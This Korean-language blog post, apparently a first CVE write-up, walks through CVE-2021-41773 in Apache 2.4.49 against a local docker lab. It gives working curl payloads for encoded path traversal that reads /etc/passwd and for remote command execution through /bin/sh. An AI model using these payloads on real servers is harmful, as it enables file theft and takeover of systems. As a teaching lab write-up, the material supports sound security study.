
CVE-2021-41773
안녕하세요 여러분, 어제 아파치 2.4.49 버전에 대한 새로운 CVE-2021-41773이 공개되었습니다. 그래서 이번 글에서는 이 아파치 취약점에 대해 설명하려고 합니다.
여러분도 이 취약점을 웹사이트에서 테스트해 보고 싶을 거라고 생각합니다. 그래서 여러분을 위한 플레이그라운드를 준비했습니다. 다음은 예제 아파치 2.4.49 도커 이미지를 다운로드할 수 있는 웹사이트입니다. Docker Image
참고: with-cgid와 no-cgid 두 가지 이미지가 있습니다. 두 이미지를 모두 다운로드해야 합니다.
먼저 docker image를 여러분의 컴퓨터에 다운로드하세요.
no-cgid: sudo docker pull blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker pull blueteamsteve/cve-2021-41773:with-cgid
no-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid
솔직히 말하면, 저는 이 취약점을 어떻게 발견했는지 모릅니다. 그래서 이 부분을 완전히 설명할 수는 없습니다. 하지만 이 CVE에 대해 제가 이해한 모든 것을 최선을 다해 설명하겠습니다.
이 CVE는 두 가지 취약점을 포함하고 있어서 조금 흥미롭습니다. 바로 LFD로컬 파일 노출과 RCE 원격 코드 실행입니다. 멋지죠!. 그래서 이 글에서는 이 CVE의 두 취약점 모두에 대해 설명하겠습니다.
그럼 로컬 파일 노출 취약점부터 시작하겠습니다. 아파치에 익숙하다면 cgi-bin(Common Gateway Interface)이 아파치-2.4.49에서 웹 서버가 외부 콘텐츠 생성 프로그램과 상호작용하는 방식을 정의하는 기본 경로라는 것을 알 수 있을 것입니다.
하지만 이 경로는 모든 사람에게, 심지어 관리자에게도 Forbidden입니다. 흥미롭지 않나요?
그리고 로컬 파일 노출 취약점에 익숙하다면, 대부분의 LFD 취약점이 금지된 경로에서 발생한다는 것을 알고 있을 것입니다.
그럼 /cgi-bin/ 경로에서 간단한 LFI 페이로드를 테스트해 봅시다.
/etc/paswd 앞에 ../../../../../를 넣었습니다.
(../가 무엇인지 알고 싶다면 이 블로그 게시물을 확인하세요. 로컬 파일 노출 우회)
curl 사용:
curl http://localhost:8080/cgi-bin/../../../../../etc/passwd

burpsuite 사용:

보시다시피 이 간단한 페이로드로는 오류가 발생했습니다. curl에서는 404 상태 코드 Not Found 오류가, Burp에서는 400 Bad Request 오류가 발생했습니다.
즉, 페이로드를 URL 인코딩으로 인코딩해야 한다는 뜻입니다. 그럼 시도해 보고 어떤 결과가 나오는지 확인해 봅시다.
그래서 .을 URL로 인코딩했습니다. 참고: URL 인코딩에서 .은 %2E 또는 %2e입니다.
curl 사용:
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

Burp 사용:

성공!. 이제 페이로드가 작동했습니다. 웹사이트의 /etc/passwd를 읽을 수 있습니다.
이제 이 CVE의 LFD 취약점을 이해하셨기를 바랍니다. 그럼 이 아파치 2.4.49 CVE의 RCE 취약점으로 넘어가겠습니다.
이 CVE의 RCE 취약점을 설명하려면 RCE의 기본기와 리눅스 기초를 어느 정도 이해해야 합니다.
RCE가 무엇인지 알려면 이 블로그 게시물을 확인하세요. RCE란 무엇인가
아, 제가 linux basics가 필요하다고 말한 것이 잘못된 말이라고 생각하셨을 수도 있겠네요. 아닙니다. 실제로 필요하기 때문에 틀린 말이 아닙니다. 그럼 시작해 봅시다!
먼저 작동하는 페이로드를 보여드리고, 그다음에 어떻게 작동하는지 설명하겠습니다.
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;whoami'
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'
Curl 사용:

그럼 이 페이로드에 대해 설명하겠습니다.
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'
보시다시피 경로 **/cgi-bin/**과 인코딩 **.%2e**는 동일합니다. 하지만 이제 두 가지 옵션이 더 추가되었습니다. 바로 -d **데이터(data)**와 /bin/sh /bin/bash입니다. 왜 이것들을 넣어야 하는지 설명하겠습니다.
먼저, 우리는 원격 코드 실행을 얻고 싶은 거죠?.
아시다시피 리눅스 기반 시스템에서 /bin/bash는 명령과 셸을 실행하고 입력하는 핵심 요소입니다. 따라서 웹 서버에서 명령을 실행하려면 bash가 필요합니다. 리눅스에서 Bash란 무엇인가를 확인해 보세요.
좋습니다. 이제 /bin/sh를 얻을 수 있다고 가정해 봅시다. 우리가 필요한 것은 명령을 주입하는 것뿐입니다. curl의 데이터로 인젝션을 넣을 수 있습니다.
우리의 페이로드는 C|echo;id입니다. 이것이 무엇인지 설명하겠습니다.
C는 아무 의미도 없습니다. | 앞에는 원하는 어떤 것이든 넣을 수 있습니다. 예: Comdey|.
echo;id는 리눅스 트릭일 뿐입니다.그래서 제가 리눅스 기초가 필요하다고 말한 것입니다. Echo 기초
이것들을 함께 사용하면 아파치 2.4.49에서 RCE를 얻을 수 있습니다.
읽어주셔서 감사합니다. 이 글은 제 첫 CVE writeup입니다. 설명이 부족했다면 양해 부탁드립니다. 그리고 제안도 남겨주시면 감사하겠습니다.
